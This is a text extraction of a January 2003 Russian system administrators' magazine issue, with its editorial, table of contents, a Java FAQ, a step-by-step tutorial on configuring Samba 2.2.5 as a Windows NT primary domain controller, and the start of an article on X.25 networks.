002 Системный Администратор 01 2003

Page 1

№1(2) январь 2003 журнал для системных администраторов, вебмастеров и программистов

Тема номера: Безопасность Киберкоп, или Конец виртуального мира Обзор техник компьютерных атак и защиты от них

Взгляд на свою сеть глазами хакера

Теория и практика OpenSSL SAMBA вместо PDC Пингвин идет в школу



Уважаемые читатели! Мы с радостью представляем вам первый в этом году выпуск журнала, который теперь будет выходить ежемесячно. Прошедший год ознаменовался невиданным в нашей стране ростом интереса к проблемам информационной безопасности. Можно сказать, что он прошел под знаком “Информационная безопасность”. «Знал бы где упасть – соломки подстелил» или «Эх, как же я не успел этот баг исправить» – кто из нас так не думал после первого успешного взлома системы, за которой вы ведете наблюдение. Наблюдение за безопасностью системы, просмотр лог-файлов, тестирование своей системы на уязвимость с помощью специализированного программного обеспечения начинаются только после того, как в первый раз мы получаем по голове. А такое случается очень быстро – стоит оставить доступной из Интернета машину с настройками безопасности «по умолчанию», потому что практически любая система с подобными настройками открывает широкие двери для любого, желающего проверить ее защиту. И потом начинаются неприятности – непонятные счета за гигабайтный трафик, требования от провайдера прекратить спам и многое другое. И почему-то все забывают, что предотвращение взлома – задача более легкая, чем устранение его последствий. Ведь существует масса программного обеспечения, написанного для защиты и оповещения об атаках, позволяющего мгновенно отреагировать на вторжение и принять меры. Об этом-то и пойдет речь в номере. Искренне ваш, Александр Михалев


оглавление

АДМИНИСТРИРОВАНИЕ

Создание PDC (основного контроллера домена) для Windows на базе SAMBA 2.2.5 Ловкость рук и никакого мошенничества: работа SAMBА вместо PDC. Андрей Гуселетов

gus@horizont.com.ua

6

БЕЗОПАСНОСТЬ

Общий обзор наиболее часто применяемых техник компьютерных атак и защиты от них Александр Потемкин

34

Сравнение сетевых сканеров безопасности Взгляд на свою сеть глазами хакера. Дмитрий Никсов Петр Рудель

Абсолютно все о Х.25 Сегодня наиболее распространенными среди огромного количества сетевых технологий являются сети, построенные по стандарту Х.25.

40

f3x@land.ru

12 Теория и практика OpenSSL

В связи с бурным развитием информационных технологий и компьютерных сетей многих стали беспокоить вопросы безопасности передаваемых по сети данных. Для решения этой проблемы обычно используют криптографические методы. Об их применении и пойдет речь. Всеволод Стахов

CEBKA@smtp.ru

16 Ы.Ы.Р.

Хотя настройка службы доменных имен всегда носила нетривиальный характер, настройка безопасности данной службы игнорируется большинством системных администраторов в целом как явление. Как обеспечить безопасность службы DNS?.. Сергей Ропчан

48

f3x@land.ru

Защитим электронную почту! При почтовой переписке многие желают конфиденциальности и удостоверения личности в письмах. Для этого в почтовые клиенты встроена возможность шифровать или подписывать сообщения. Как это сделать? Всеволод Стахов

Для удалённого логина на *nix-сервере традиционно используется ssh-протокол, позволяющий организовать безопасную передачу по потенциально опасным каналам связи. Автор описывает особенности работы и настройки второй версии протокола ssh, рассматривает методы беспарольной и host-based аутентификации, проблемы безопасности и возможные их решения. Всеволод Стахов

2

wurger@yandex.ru

Минимум усилий на защиту DNS

Сергей Ропчан

28

apotemkin@itinfo.spb.ru

CEBKA@smtp.ru

50

CEBKA@smtp.ru

Киберкоп, или Конец виртуального мира Интервью с Александром Слуцким, начальником первого отдела управления по борьбе с преступлениями в сфере высоких технологий при ГУВД г. Москвы.

54

Дмитрий Аксенов


оглавление

ОБРАЗОВАНИЕ

ПРОГРАММИРОВАНИЕ История одной разработки, или Как мы делали siteMETA Существующие на рынке системы предлагают различные решения проблемы организации поиска по сайту, однако сказать, что рынок насыщен качественными и при этом экономичными решениями, нельзя. Описываемая в статье поисковая система SiteMETА – это попытка украинской компании Мета дать надежный и доступный инструмент для решения всего комплекса «поисковых» проблем для веб-мастеров и администраторов сайтов. Андрей Коваленко

info@meta.ua

60

Javа: магия отражений (часть II) ClassLoader - скрытые возможности Даниил Алиевский

Пингвин идет в школу Система образования некоторых стран уже переходит с проприетарной платформы на свободную. А что может дать российским школам переход на Linux? Сергей Голубев

hymnazix@aviel.ru

88

Доступный Linux в каждую школу! Популяризация Linux связана не только с его доступностью и дешевизной, но и открывающимися возможностями. Однако человек, привыкший видеть перед собой интерфейс ОС Windows, вряд ли сможет быстро освоиться и в ОС Linux. В предлагаемой статье рассматривается способ настройки интерфейса ОС Linux близко похожим к интерфейсу ОС Windows, что практически уже внедрено в некоторых школах.

daniel@siams.com

64

Управление сессиями в ColdFusion, или Здравствуйте, я - ваша тетя

Виктор Мельников Андрей Шевченко

92

andy_shev@mail.ru

Александр Меженков

apm@poptsov.ru

78 Брандмауэр

4, 15, 95

Каждый, кому приходилось обеспечивать безопасность сети, прекрасно знает, что без надежного брандмауэра обойтись просто невозможно, и что его грамотная настройка требует от администратора глубоких знаний, опыта, терпения и времени. Однако многие ли интересовались вопросами внутреннего устройства и принципами функционирования брандмауэра? Предлагаем вам заглянуть «внутрь» простого брандмауэра и совершить путешествие по его исходному коду.

27, 58

FAQ JA VA JAV

BUGTRAQ

Владимир Мешков

82 №1(2), январь 2003

ubob@mail.ru

3


FAQ JAVA ВОПРОС: При автоматической конверсии вещественного числа в строку получается десятичная запись с максимальной возможной точностью. Например, оператор Math.PI+"" выдает строчку 3.141592653589793. Такое поведение обычно неудобно. Как получить десятичную запись вещественного числа с заданным числом знаков после десятичной точки? ОТВЕТ: Использовать класс java.text.DecimalFormat. Ниже приведен текст функции, возвращающей десятичную запись числа с заданным числом знаков после десятичной точки: public static String toS(double v, int d) { return toS(v,d,false); } public static String toS(double v, int d, boolean exponentForm) // Параметр exponentForm позволяет получить // экспоненциальную форму записи { StringBuffer ptn= new StringBuffer("0"); if (d>0) { ptn.append("."); for (; d>0; d—) ptn.append("0"); } if (exponentForm) ptn.append("E0"); DecimalFormat f= new DecimalFormat( ptn.toString()); return f.format(v).replace(",",’.’); // без replace мы рискуем в некоторых // странах - например, в России - получить // десятичную запятую, а не точку }

ВОПРОС: Как обеспечить автоматическое выполнение некоторых действий при завершении Java-программы (закрытии виртуальной машины Java)?

ВОПРОС: Фирма Sun и многие поклонники языка Java утверждают, что при использовании современных Java-машин быстродействие программ на Java не уступает быстродействию эквивалентных программ на языках C, С++ и Pascal. Верно ли это? ОТВЕТ: Никогда не полагайтесь на рассуждения о быстродействии, особенно столь общего характера! Если для вас эффективность действительно важна, обязательно проверьте, какой скорости исполнения вашего критичного по времени программного кода можно добиться на других языках, в частности на ассемблере. Если разница с Java будет существенной – воспользуйтесь native-кодом (хотя бы для самых популярных аппаратных платформ). Современные технологии Just-In-Time и HotSpot дают некоторую уверенность, что вычислительный Java-код, интенсивно работающий с числами и массивами чисел, скорее всего не будет отставать по скорости от языка C в 10-100 раз – как это было на заре развития Java. Но отставание в полтора-два и даже в несколько раз вполне возможно. Опережение же – весьма маловероятно. Приведем пример. Даны 2 массива a и b коротких целых чисел (short) длины 20000. Требуется для каждой пары соответствующих элементов вычислить минимум и поместить его в массив a: a[k]= a[k]<b[k]? a[k]: b[k]. Решаем задачу на чистой Java и с применением native-кода на языке C. В обоих случаях цикл «расцикливаем», чтобы по возможности исключить потери на инкремент индекса. Для Java «расцикленное» оптимальное решение выглядит примерно так: for (; if if if if }

aofs<aofsmax; aofs+=4,bofs+=4) { (a[aofs]>b[bofs]) a[aofs]=b[bofs]; (a[aofs+1]>b[bofs+1]) a[aofs+1]=b[bofs+1]; (a[aofs+2]>b[bofs+2]) a[aofs+2]=b[bofs+2]; (a[aofs+3]>b[bofs+3]) a[aofs+3]=b[bofs+3];

ОТВЕТ: Runtime.getRuntime().addShutdownHook(new Thread() { public void run() { необходимые действия; } });

В частном случае, когда требуется при завершении программы удалить некоторый временный файл или (пустой) подкаталог, можно использовать метод deleteOnExit() класса File. ВНИМАНИЕ! Фирма Sun, разработчик Java, НЕ ГАРАНТИРУЕТ исполнения каких бы то ни было механизмов, предназначенных для исполнения некоторого кода при завершении Java-программы, включая методы finalize, технику addShutdownHook или deleteOnExit. Как правило, в нормальных условиях эти действия исполняются, но программа не должна перестать функционировать, если этого не произойдет.

4

Измерения быстродействия на компьютере Pentium-III 800 MHz с кэшем процессора 256 Kb показывают: если оба массива попадают в кэш процессора, то цикл на Java расходует 11.5 наносекунд на элемент, а на C++ – всего 6 наносекунд. (Использовался комплект Sun Java SDK 1.4.1 и компилятор Microsoft C++ из пакета Visual Studio 6.0, операционная система Windows 2000.) Если применить встроенный ассемблер C++ и специальные команды MMX/SSE, то время можно сократить до 1.4 наносекунды на элемент – в 8 раз быстрее чем наилучшее время в Java. Если массивы существенно длиннее и не помещаются в кэш процессора, то разница между Java, C и ассемблером будет меньше: 25нс на Java, 19нс на С и 12нс на ассемблере с использованием команд MMX/SSE. (Все эти цифры, разумеется, чисто ориентировочные – на разных компьютерах возможны заметные отличия.) Составил Даниил Алиевский


АДМИНИСТРИРОВАНИЕ


СОЗДАНИЕ PDC (ОСНОВНОГО КОНТРОЛЛЕРА ДОМЕНА)

ДЛЯ WINDOWS НА БАЗЕ SAMBA 2.2.5

АНДРЕЙ ГУСЕЛЕТОВ

Не то чтобы настало время фанатиков от OpenSource, но всё-таки цена программного обеспечения имеет значение. Кроме того, если раньше ПО, построенное по технологии открытых исходников, было уделом узких специалистов, то сейчас оно стало гораздо удобнее в использовании, появляются дружелюбные инсталляционные скрипты, толковая документация и т. д. Люди вроде Столмена и Линуса, которые также борятся за OpenSource, зачастую вдохновляют окружающих своими идеями (впрочем, последний в меньшей степени). И эти самые окружающие (мы с вами) своим энтузиазмом двигаем всё это вперед. Я надеюсь. Итак, разговор пойдет о Samba.


администрирование Samba – ПО, построенное по идеологии открытых исходников, которое позволяет на базе компьютера, работающего под управлением операционной системы UNIX, создать ресурсы, доступные для Windows-машин. Фактически, SAMBA – это UNIX-реализация протоколов SMB или CIFS фирмы Microsoft, предназначенных для доступа по сети к файлам и принтерам компьютеров, работающих под управлением MS Windows. Кроме того, Samba также может действовать как основной контроллер домена на уровне Microsoft Windows NT 4.0 Server. Когда я стал это настраивать, то столкнулся с массой мелких нюансов, нигде ранее не описанных; вот я и хочу помочь всем тем, кто будет делать то же самое – использовать Samba в качестве PDC.

Начальные требования Вам понадобится компьютер, работающий под управлением ASPLinux 7.2. Впрочем, для RedHat 7.2 всё будет абсолютно также, те же пути и те же методы настройки. Я выбрал ASPLinux, так как это достаточно дружелюбный и толковый русский дистрибутив, основанный на RedHat. Кроме того, он довольно-таки распространен и если вы захотите всё это точка в точку повторить, то найти ASPLinux будет просто. Там, где какие-то различия всё же имеются, я о них расскажу.

Инсталляция Скачиваем SAMBA-2.2.5.rpm для RedHat 7.2 с samba.org. После чего даем команду: >

rpm -ivh samba-2.2.5.rpm

Если всё прошло нормально (а с чего бы ему пойти не так), продолжаем далее, иначе – смотрите, что у вас пошло не так, обычно диагностические сообщения менеджера пакетов помогают. Посмотрим, что у нас получилось. Итак, ! man-файлы пошли куда положено – в man; ! запускаемые файлы и библиотеки – в /usr/sbin; ! конфигурационные файлы – в /etc/samba; ! ну и еще есть SWAT (средство администрирования SAMBA через Web-интерфейс). Впрочем, вы можете всё собрать и из исходников, я такой путь и предпочитаю, но для начала Samba проще поставить из пакета. Для желающих повторить: ! скачиваем samba-2.2.5.tar.gz; ! даем команду: > tar xvzf samba-2.2.5.tar.gz

! переходим в каталог с конфигурационными скриптами: > cd samba-2.2.5/source

! и запускаем конфигурирование (всё в одну строчку!):

№1(2), январь 2003

> ./configure —prefix=/usr \ > —bindir=/usr/bin \ > —sbindir=/usr/sbin \ > —libexecdir=/usr/libexec \ > —datadir=/usr/share/samba \ > —sysconfigdir=/etc/samba \ > —with-msdfs \ > —with-configdir=/etc/samba \ > —with-winbind

Ключевые вещи здесь такие: мы хотим, чтобы бинарники были разложены по директориям /usr/bin и /usr/sbin и, кроме того, чтобы все конфигурационные файлы были в каталоге /etc/samba. Если же всего этого не сказать, то по умолчанию Samba станет в /usr/local/samba. И там же, в /lib, будет искать конфигурационные файлы. Мне это кажется несколько неудобным, я предпочитаю хранить все конфигурации либо в /etc, либо в /usr/local/etc (если под FreeBSD). И еще одно: обратите также внимание на параметр with-msdf, который определяет поддержку Microsoft Distributed File System, вполне возможно, что она вам пригодится. Далее делаем > make

потом > make install

Готово: всё на своих местах. Если что-то пошло не так, еще раз внимательно читайте вывод make! Впрочем, хотел бы обратить внимание вот на что: если говорить о версии 2.2.5 – то всё нормально, а вот версия 2.2.4 у меня в некоторых случаях не воспринимала параметры путей к конфигурационным файлам, и приходилось, после того как configure отработает, руками править make-файл. Так что имейте это в виду.

Конфигурирование Ну вот, Samba поставлена, теперь займемся её конфигурированием. Если вы ставили её из rpm, то у вас уже имеются все необходимые конфигурационные файлы в каталоге /etc/samba. А вот если вы её собирали из исходников, то всё придется делать ручками. Впрочем, не расстраивайтесь. Мы тоже всё будем делать с самого начала. Основной конфигурационный файл Samba – smb.conf. Сохраняем его на всякий случай: cd /etc/samba cp smb.conf smb.conf.bak. После чего очищаем smb.conf и вбиваем туда все, что нам нужно. Структура этого файла очень проста. Он состоит из двух секций: [global], в которой описано всё, что касается настройки программы в целом, и «shares», где перечислены все создаваемые вами общедоступные ресурсы. Описание каждого ресурса начинается с его названия в квадратных скобках, например, [homes], а далее следуют различные опции: путь, права доступа и пр. Некоторые опции дублируются и в глобальной секции, и в каждом ресурсе; причем если в каком-то ресурсе значение опции явно не указано, то берутся соответствующие данные из секции [global]. Если и там их нет, то – по умолчанию. А вот если вам

7


администрирование надо, то вы можете перекрыть для некоторых ресурсов значения, выставленные в секции [global], в явном виде прописав нужные опции в описании этих ресурсов. Я надеюсь, что вы уже определились с именем, которое дадите своему домену, если нет – то самое время это сделать. Начинаем: # # # #

ных параметрах (чем выше OS Level, тем выше шансы) и времени. Кроме того, выборы проводятся и по алфавитному порядку NetBIOS-имени компьютера, но это в последнюю очередь. Параметр domain master, в частности, говорит SAMBA изображать основной контроллер домена. Следующим этапом будет добавление некоторых настроек касательно безопасности:

/etc/samba/smb.conf SAMBA configuration file Created by GUS 04.08.2002 Last updated : 05.08.2002 by GUS

; Security settings security = user encrypt passwords = yes domain logons = yes hosts allow = 127.0.0.1 10.150.150.

[global] ; Basic setting for our server ; NetBIOS name for our server netbios name = DREAM ; workgroup name, here - DOMAIN NAME workgroup = DREAMHOUSE ; server description string server string = DREAMHOUSE Primary Domain Controller running Samba %v

где

! security = user – обязательно должно быть user для

Теперь по порядку:

! netbios name = DREAM – наш компьютер будет ви-

!

!

ден в Windows-сети под названием «DREAM». Кстати, вы можете ничего тут и не писать: если в целом сетевые настройки вашего компьютера правильны, то SAMBA подставит его DNS-имя и будет чудненько работать. Однако лучше подстраховаться, потому что для более ранних версий SAMBA это может и не работать; workgroup = DREAMHOUSE – название нашего домена, причем названия компьютера и домена не должны совпадать, их, конечно, можно сделать одинаковыми, но работать нормально оно тогда не будет! server string = DREAMHOUSE Primary Domain Controller running Samba %v – это описательная строка, которая будет видна при просмотре сети с Windows-компьютеров. Можете писать тут что угодно, в моем случае написано PDC какого это домена, и что он работает под Samba версии %v, где %v возвращает версию SAMBA.

Обратите внимание на то, что комментариев в конце строк нет, SAMBA плохо к этому относится, и лучше всего их вынести либо на строку выше, либо на строку ниже – это смотря что вы предпочитаете. Далее добавляем в smb.conf следующее: ; PDC settings os level = 64 domain master = yes preffered master = yes local master = yes

Вкратце можно сказать вот что: в один момент времени в сети существует какой-то компьютер, который содержит список всех активных в данный момент компьютеров, вот эта машина и называется в английском языке local master browser, естественно, просто так local master browser’ом не становятся: по мере включения и выключения компьютеров проводится процедура выбора, в которой одна из машин побеждает и становится master browser’ом. Процедура выбора в частности основывается на 4 приведен-

8

!

! !

SAMBA, работающей в качестве основного контроллера домена, на самом деле, как говорится в оригинальном SAMBA-PDC-FAQ, здесь может быть и SERVER и DOMAIN, но не может быть SHARE, однако подробное объяснение этих параметров будет здесь явно лишним. Кому интересно – можете либо поискать это в документации по SAMBA, либо связывайтесь со мной; encrypt passwords = yes – включить использование шифрованных паролей, т.е. не посылать их по сети открытым текстом, вообще-то специальные методы работы с паролями применяют только NT-семейство Windows (начиная с NT4.0+SP3), Windows Me. Опять же, хочется подробнее – ищите в документациях Microsoft или Samba; domain logons = yes – включает поддержку авторизации в домене; hosts allow = 127.0.0.1 10.150.150. – список адресов отдельных компьютеров и подсетей (обычно, конечно, подсетей), которые могут использовать ваш SAMBA-сервер. Вообще-то, 127.0.0.1 (localhost) писать совсем не обязательно, но вот FAQ по SAMBA говорит обратное, да и мой опыт показал то же самое – лучше написать. Настроим различные параметры авторизации: ; Various logon settings

; path - where to store user profiles logon path = \\%N\profiles\%u ; home directory - where it is, and where it should be mounted logon drive = Z: logon home = \\homes\%u ; default domain logon script - generic script for all users ; NOTE : this is relative !!! DOS !!! path to the [netlogon] share logon script = start.cmd

Теперь по порядку: ! logon path = \\%N\profiles\%u – путь к месту хранения профиля подключившегося пользователя; ! logon drive = Z: – буква диска, под которым будет автоматически подключена директория, находящаяся по пути logon home; ! logon home = \\homes\%u – путь к «домашней», т.е. личной директории пользователя;


администрирование ! logon script = start.cmd — это командный файл, автоматически запускаемый при входе пользователя в домен. Обратите внимание на две важные вещи: во-первых, это пу ть относительно ресурса общего дос т упа NETLOGON предоставляемого КАЖДЫМ контроллером домена. Во-вторых, этот файл выполняется на стороне клиента, а соответственно должен иметь такое расширение, чтобы клиентская ОС узнавала его как выполняемый, т.е. в общем случае это *.BAT-файлы, а для NT – *.CMD-файлы. Всё, с секцией [global] мы покончили, освежевали и переварили, на очереди – «shares» или, говоря самым могучим языком мира, – общедоступные ресурсы. Секция описания общедоступных ресурсов: ; Netlogon share [netlogon] comment = Network logon service path = /home/netlogon browseable = No

Секция [netlogon] создаёт служебный ресурс для удаленного администрирования. В основном этот ресурс используется администраторами для различных изменений реестра. Его нужно и удобно использовать совместно со стартовым скриптом. Здесь опять же: ! comment = Network logon service – это комментарий к ресурсу, который вы можете увидеть рядом с именем ресурса в проводнике на Windows-машине; ! path = /home/netlogon – путь к ресурсу; ! browseable = No – ресурс не является просматриваемым по сети, фактически, его могут увидеть только пользователи с правами администратора домена. Стоит отметить, что некоторые администраторы предпочитают в описание этого ресурса добавить еще и строчки: read only = yes write list = admin

Таким образом, строкой read only = yes ресурс объявляется всем пользователям только для чтения, а строкой write list = admin, некоему гипотетическому администратору дается право записи. Следущий ресурс – «homes»: ; User’s home directories [homes] comment = Home Directories valid users = %S read only = No create mask = 0664 directory mask = 0775 browseable = No

Это тот ресурс, в котором создаются пользовательские директории, здесь пользователь, естественно, имеет смысл – «пользователь домена».

№1(2), январь 2003

По порядку:

! comment = Home Directories – это я уже говорил –

! ! !

!

комментарий к ресурсу, который вы можете увидеть рядом с именем ресурса в проводнике на Windowsмашине; valid users = %S – допускаются только пользователи домена; read only = No – ресурс предназначен для записи, а не только для чтения; create mask = 0664 и directory mask = 0775 – их следует рассматривать только вместе – подобным образом указанные маски не дают пользователю выбраться выше уровня своей домашней директории. Более детальное рассмотрение данного пункта здесь делать не будем, интересно – пишите; browseable = No – и наконец, этот ресурс не просматривается по сети (естественно, незачем обычным пользователям видеть всю папку с пользовательскими директориями). ; User’s profiles [profiles] path = /home/samba/profiles create mask = 0600 directory mask = 0700 browseable = No

Вот очень важный ресурс, особенно если вы собираетесь реализовать перемещаемые профили пользователей. В этом ресурсе описываются пути и маски создания пользовательских профилей. Давайте разберемся с каждой строчкой: ! path = /home/samba/profiles – путь к профилям; ! create mask = 0600 и directory mask = 0700 – опять же, рассматриваются только вместе, вот тут давайте поподробнее: • маска создания – 0600 – это есть rwx-xxx-xxx, т.е. только пользователь может читать и писать файлы сюда, маска директорий; • 0700 – rwx-xxx-xxx – директории должны быть запускаемыми, если их нужно просматривать. ! browseable = No – а вот сам ресурс пользователям видеть ну совершенно не обязательно. Что этой строчкой мы и делаем. Примечание: будьте очень аккуратны с этим ресурсом, так как Windows NT и Windows 9x по-разному реализуют профили, и, соответственно, могут наблюдаться конфликты и различные необъяснимые файлы и ошибки. Фактически, Windows 9x помещают профиль не в эту директорию, а в домашнюю директорию пользователя. Последний ресурс: ; Printers [printers] comment = All Printers path = /var/spool/samba printable = Yes browseable = No

Здесь описываются общие настройки принтеров. К сожалению, детальное описание настройки принтеров для печати из-под Windows на SAMBA-машину я не смогу

9


администрирование сделать. Халтурить мне не позволяет совесть, а сделать так как надо – это было бы очень объемно. Но если будут пожелания – можно будет сделать отдельную статью, посвященную целиком этому вопросу. Кратко: ! comment = All Printers – комментарий ресурса; ! path = /var/spool/samba – путь к каталогу спулера печати; ! printable = Yes – сюда можно печатать; ! browseable = No – этот ресурс непросматриваемый. Вроде бы всё. Но к редактированию этого файла мы еще вернемся. Сейчас сделаем необходимые директории и пользователей и – пробный запуск.

Создание необходимых административных директорий Предпочтительно сделать две группы пользователей (UNIX-группы!), одну – для адмнистраторов, другую – для компьютеров (да, именно так, компьютер как член домена Windows NT, а в нашем случае – SAMBA, для UNIX выглядит просто как пользователь, с особенным образом заданным именем и паролем). GID следует выбрать так, чтобы его значение не конфликтовало с другими идентификаторами групп в вашей системе, поскольку мы предполагаем установку на «свежепроинсталлированный» ASPLinux, то безопасным будет взять 200 и 201. Группу администраторов назовем admins: > groupadd -g 200 admins

а группу с именами машин назовем machines: > groupadd -g 201 machines

Обратите внимание – для RedHat Linux (а не для ASPLinux) эти команды выглядели бы так: > group -g 200 admins > group -g 201 machines

Следующим шагом будет создание необходимых директорий и – самое главное – верных прав на них: > mkdir -m 0775 /home/netlogon > chown root.admins /home/netlogon

Надеюсь, здесь всё прозрачно, владелец – root из группы admins, чётко это запомните, потому как позднее, уже при присоединении машины к домену это вам понадобится. > mkdir /home/samba /home/samba/profiles > chown 1757 /home/samba/profiles

На директорию /home/samba/profiles, как я уже говорил выше про пользовательские директории, сделаны такие права, чтобы пользователь не выходил за пределы отведенной ему иерархии и случайно или преднамерен-

10

но не повредил информацию других пользователей.

Создание пользовательских и машинных «бюджетов» Слово «бюджет» я избрал для замены англоязычного термина account, мне кажется, что этот вариант наиболее подходящий по смыслу. Начнем с более простого – создания бюджета пользователя. Создание бюджета пользователя проходит в два этапа. Вам нужно: ! создать бюджет пользователя в UNIX; ! повторить те же действия для самой SAMBА. И не забудьте – это всё еще и нужно будет поддерживать в синхронизированном виде! Приступим: сделаем пользователя «gus» сначала в системе: > > > > >

useradd gus passwd gus New password: Retype new password: passwd: all authentication tokens updated successfuly

теперь в SAMBА: > > > >

smbpasswd -a gus New SMB password: Retype new SMB password: Added user gus

Один нюанс: иногда, и это зависит от версии SAMBA, пользователь добавляется в домен, но в состоянии «выключен». И его бюджет нужно принудительно включить следующей командой: > smbpasswd -e gus

Теперь, в случае если пользователь захочет сменить свой пароль с Windows-машины, то произойдет следующее: SAMBA-то у себя его поменяет, а вот в UNIX’е он останется старым. Что делать? К счастью, решение есть.

Синхронизация пользовательских данных между SAMBA и UNIX Для того чтобы это работало, следует внести в секцию [global] следующие строчки: ; UNIX password syncing unix password sync = Yes passwd program = /usr/bin/passwd %u passwd chat = *New*UNIX*password* %n\n *Retype*new*UNIX*password* %n\n *Enter*new*UNIX*password* %n\n *Retype*new*UNIX*password* %n\n *passwd: *all*authentication*tokens*updated*successfully*

Обратите внимание на строку passwd chat: все, что после символа «равно», должно быть набрано в одну строку!

Создания бюджетов компьютеров Для создания бюджетов компьютеров может применять-


администрирование ся два способа: ручной – перед присоединением компьютера к домену; и автоматический – во время присоединения компьютера к домену. Сразу нюанс: автоматический способ в том виде, в котором его реализацию предлагают создатели SAMBА, в ASPLinux не делается.

! добавляет необходимого пользователя; ! делает для него passwd -l; ! блокирует базу паролей; ! вносит необходимые изменения (добавляет знак $); ! обновляет базу паролей и разблокирует её.

Вариант 1 Ручное создание бюджетов машин

Этого мы здесь делать не будем, есть желание – пишите, поделюсь. Хотя я настоятельно рекомендую вместо этого использовать RedHat 7.2 либо 7.3, так как в ASPLinux даже 7.3 таже самая проблема. Один нюанс: в Samba 2.2.1-2.2.5 только учетная запись root может быть использована для создания машинных учетных записей. Следовательно, необходимо в SAMBА создать запись для root. Более ранние версии SAMBА я не проверял. Пароли root для UNIX и SAMBA должны различаться по соображениям безопасности. И всё это – вопреки FAQ по SAMBА, где такого не сказано, но работает оно, по крайней мере, на текущую версию именно так. Всё! Настройка закончена. Теперь запускаем SAMBА. Фактически SAMBА состоит из двух «демонов» – smbd и nmbd. Первый из которых отвечает, собственно говоря, за ресурсы; а второй – за имена NetBIOS, поэтому добавляем в стартовые файлы следующие строчки:

Вот тут начнем наоборот – для RedHat 7.2 всё просто – даем команду: >/usr/sbin/useradd -g machines -d /dev/null -c «machine nickname» -s /bin/false machine_name$ > passwd -l machine_name$ > Changing password for user machine_name$ > Locking password for user machine_name$

где machine_name – это имя машины, а после него – знак доллара, это обязательно, и вот в этом-то и загвоздка. ASPLinux знак доллара не воспринимает. Поэтому делаем так: > /usr/sbin/useradd -g machines -d /dev/null -c «machine nickname» -s /bin/false machine_name > passwd -l machine_name > Changing password for user machine_name > Locking password for user machine_name

затем > vipw

и руками редактируем файл паролей, (наш компьютер будет последний), добавляем там к имени компьютера $. Вот тут-то вам и пригодится так рекомендуемое всеми для UNIX знание редактора VI. Далее даем команду: >smbpasswd -a -m machine_name

где machine_name – NetBIOS-имя машины; обратите внимание, что здесь имя машины без знака доллара, так как SAMBА опознает, что это компьютер по ключу -m. Внимание! После того как вы сделали бюджет компьютера, настоятельно рекомендуется сразу же присоединить этот компьютер к домену! Почему? Потому что когда клиент подсоединяется к домену, он на самом деле поменяет пароль и так называемый «секрет» на SAMBА, т.е. некий уникальный ключ. Если вы этого сразу же не сделаете, то имейте в виду: что тогда в этот промежуток времени в домен может подключиться любой компьютер с таким же NetBIOS-именем. А это – огромная дырка в безопасности.

Вариант 2 Автоматическое создание бюджетов машин Для RedHat 7.2 необходимо в секцию [global] файла smb.conf внести следующую строчку: add user script = /usr/sbin/useradd -d /dev/null -g machines -s /bin/false -M %u

а вот для ASPLinux 7.2 – увы, если всё-таки хочется, то вам придется самостоятельно написать скрипт или программу, который (-ая) делает следующее:

№1(2), январь 2003

> nmbd -D > smbd -D

и перегружаем компьютер. Почему я не говорю как это сделать? Потому что методов может быть много – я вообще предпочитаю сделать отдельную директорию. Откуда мой скрипт, помещенный в /etc/rc.d/rc.local, вылавливает всё и по очереди запускает – a’la FreeBSD. Возможно, вы делаете по-другому, вот и не буду навязываться. Вот теперь точно всё – работайте на здоровье.

Заключение На самом деле статья получилась не настолько полная, насколько хотелось бы. Не хватает настройки принтеров, тонкой настройки прав доступа (через ACL), скрипта автоматического создания машинных бюджетов, описания скриптов – до и после подключения клиентов, не хватает описания winbind и собственно подключения клиентских машин. Также можно было бы рассмотреть распределенную файловую систему Microsoft – MS DFS. Но тогда статья получилась гораздо бы более тяжелой и объемной. Если будут пожелания – постараюсь их выполнить. Либо на страницах этого журнала, либо по электронной почте, в последнем случае я отвечаю всегда, но иногда могу отложить решение вашей проблемы на 3-5 дней, о чем всегда вам сообщу. P. S. 20 ноября 2002 года команда разработчиков SAMBA выпустила версию 2.2.7, которую и желательно использовать вместо описанной в статье: в ней ликвидирована одна потенциально опасная дыра при проверке длины запроса на смену зашифрованного пароля от клиента. Подчеркну, что готового кода, используещего данную уязвимость, не существует, – ошибка была найдена самими разработчиками. Подробнее смотрите на сайте разработчиков.

11


администрирование

АБСОЛЮТНО ВСЕ О Х.25

СЕРГЕЙ РОПЧАН

Сети, построенные на основе технологии Х.25, на сегодняшний день являются самыми распространенными сетями с коммутацией пакетов, используемыми в качестве корпоративных. Основная причина такой ситуации состоит в том, что долгое время сети Х.25 были единственными доступными сетяСтандарт Х.25 трактуется как “интерфейс между оконечным оборудованием данных и аппаратурой передачи данных для терминалов, работающих в пакетном режиме в сетях передачи данных общего пользования”. Он был разработан комитетом ССIT в 1974 году и пересматривался несколько раз. Стандарт наилучшим образом подходит для передачи трафика низ-

12

ми с коммутацией пакетов коммерческого типа, в которых давались гарантии коэффициента готовности сети. Кроме того, они достаточно надежно работают даже на нестабильных линиях благодаря протоколам с установлением соединения и коррекцией ошибок на двух уровнях – канальном и сетевом.

кой интенсивности, характерного для терминалов, и в меньшей степени соответствует более высоким требованиям трафика локальных сетей. Как видно из названия, стандарт не описывает внутреннее устройство сети Х.25, а только определяет пользовательский интерфейс с сетью. Взаимодействие двух сетей Х.25 определяет стандарт Х.75.

Технология сетей Х.25 имеет несколько существенных признаков, отличающих ее от других сетевых технологий: ! наличие в структуре сети специального устройства PAD (Packet Assembler Disassembler), предназначенного для выполнения операции сборки нескольких низкоскоростных потоков байт от алфавит-


администрирование

!

!

но-цифровых терминалов в пакеты, передаваемые по сети и направляемые компьютерам для обработки, другими словами – сборщик-разборщик пакетов (СРП); наличие трехуровневого стека протоколов с использованием на канальном и сетевом уровнях протоколов с установлением соединения (connectionless), управляющих потоками данных и исправляющих ошибки; ориентация на однородные стеки транспортных протоколов во всех узлах сети – сетевой уровень рассчитан на работу только с одним протоколом канального уровня и не может подобно протоколу IP объединять разнородные сети (гетерогенные).

